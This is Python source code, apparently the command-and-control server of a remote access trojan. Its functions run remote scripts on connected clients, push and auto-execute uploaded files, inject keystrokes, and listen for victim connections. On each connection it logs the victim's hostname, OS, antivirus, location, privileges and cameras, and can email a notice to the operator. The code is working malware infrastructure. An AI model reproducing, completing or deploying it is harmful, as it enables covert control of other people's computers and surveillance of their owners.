def interpreter(message): execute = validate_dict_key(message, 'execute') script = validate_dict_key(message, 'script') quiet = validate_dict_key(message, 'quiet') assert execute or script if script: parent_folder = state['settings']['folders']['parent'] child_folder = state['settings']['folders']['child'][1] message['execute'] = read_file( f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode( state['settings']['encoding']) del message['script'] if quiet: del message['quiet'] data = session_message(message, False) result = validate_dict_key(data, 'result') if result: if quiet is None: status_message(data['result'], 'pure', {'end': True}) print() make_file(['interpreter'], 'txt', bytes(data['result'], state['settings']['encoding']), data['message']) else: status_message(data['message'], data['text_mode'])
def upload(message): filename = validate_dict_key(message, 'file', False) url = validate_dict_key(message, 'url', False) execute_on_upload = validate_dict_key(message, 'execute') message['max_file_size'] = state['settings']['max-file-size'] if execute_on_upload is None: message['execute'] = False else: message['execute'] = True if filename: root = f'{state["root"]}/{state["settings"]["folders"]["parent"]}/{state["settings"]["folders"]["child"][0]}/{filename}' if (os.path.getsize(root) / 1024 / 1024) > message['max_file_size']: status_message( f'File exceeding maximum size of {message["max_file_size"]}MB', 'danger') return message['from_url'], message['file_data'] = False, read_file(root) elif url: message['file'], message['from_url'], message[ 'file_data'] = url, True, None del message['url'] else: raise Exception('Error message') session_message(message, loading_text='uploading file...')
def keystroke(message): inject = validate_dict_key(message, 'inject', False) script = validate_dict_key(message, 'script', False) if inject: message['inject'] = inject.strip().split(';') elif script: parent_folder = state['settings']['folders']['parent'] child_folder = '{}/{}'.format(state['settings']['folders']['child'][1], state['settings']['folders']['child'][3]) message['inject'] = read_file( f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode( state['settings']['encoding']).strip().split('\r\n') del message['script'] else: raise Exception('Error message') session_message(message)
def alias_parser(data): if os.path.isfile( f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt' ): filesize = os.path.getsize( f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt' ) if filesize != state['settings']['dynamic']['alias-size']: state['settings']['dynamic']['alias-data'] = read_file( f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt' ).decode(state['settings']['encoding']).strip().split('\n') state['settings']['dynamic']['alias-size'] = filesize for alias in state['settings']['dynamic']['alias-data']: key, value = alias.split('=') if data == key: return value return data
def listening(host, port, stdout=True): try: state['sockets']['server'] = socket.socket(socket.AF_INET, socket.SOCK_STREAM) state['sockets']['server'].bind((host, int(port))) state['sockets']['server'].listen() except Exception as err: write_error(err) state['sockets']['server'] = None if stdout: raise Exception('Socket binding error') else: sys.exit(0) else: if stdout: status_message(f'Listening on port {port}', 'success', { 'dots': True, 'point': 'dot' }) while True: try: client, addr = state['sockets']['server'].accept() except Exception as err: write_error(err) break try: send_data( client, { 'message': 'CsBLDS4n5zPYq7JaxDjxWHK4', 'silent': state['options']['mode']['silent'], 'io_channels': state['settings']['io-channels'] }, (state['settings']['encryption'], state['settings']['encoding'], state['settings']['headersize']), { 'safe': state['options']['mode']['safe'], 'safe_timeout': state['settings']['safe-timeout'] }) data = recv_data(client, (state['settings']['encryption'], state['settings']['headersize'])) data.update({'timer': time.time()}) add_client = True if os.path.isfile( f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt' ): blacklist = read_file( f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt' ).decode(state['settings']['encoding']).strip().split('\n') for ip in blacklist: try: ip = socket.gethostbyname(ip) except Exception as err: write_error(err) if addr[0] == ip: add_client = False if not state['options']['validation']['duplicates']: for client_data_obj in state['sockets']['clients'][2]: if data['username'] == client_data_obj['username']: add_client = False if len(state['sockets']['clients'] [0]) >= state['options']['validation']['max-clients']: add_client = False if add_client: if state['options']['information-gathering']['history']: make_directories([data['username']]) with open( f'{state["root"]}/{data["username"]}/history.txt', 'a') as f: f.write( f'{data["username"]} connected at {get_timestamp()}\n' ) data_list = (client, addr, data) if state['options']['information-gathering']['whoami']: make_directories([data['username']]) with open(f'{state["root"]}/{data["username"]}/whoami.txt', 'a') as f: title = f'Whoami at {get_timestamp()}' text = f'Monitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}' f.write(f'{title}\n{text}\n{"-" * len(title)}\n') for index, item in enumerate(state['sockets']['clients']): item.append(data_list[index]) if state['options']['notice']['email-notice']: send_email( state['options']['notice']['email-data']['email'], state['options']['notice']['email-data']['password'], state['options']['notice']['email-data']['to'], 'Connection Notice!', f'Connection at {get_timestamp()}\nMonitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}' ) else: client.close() except Exception as err: write_error(err)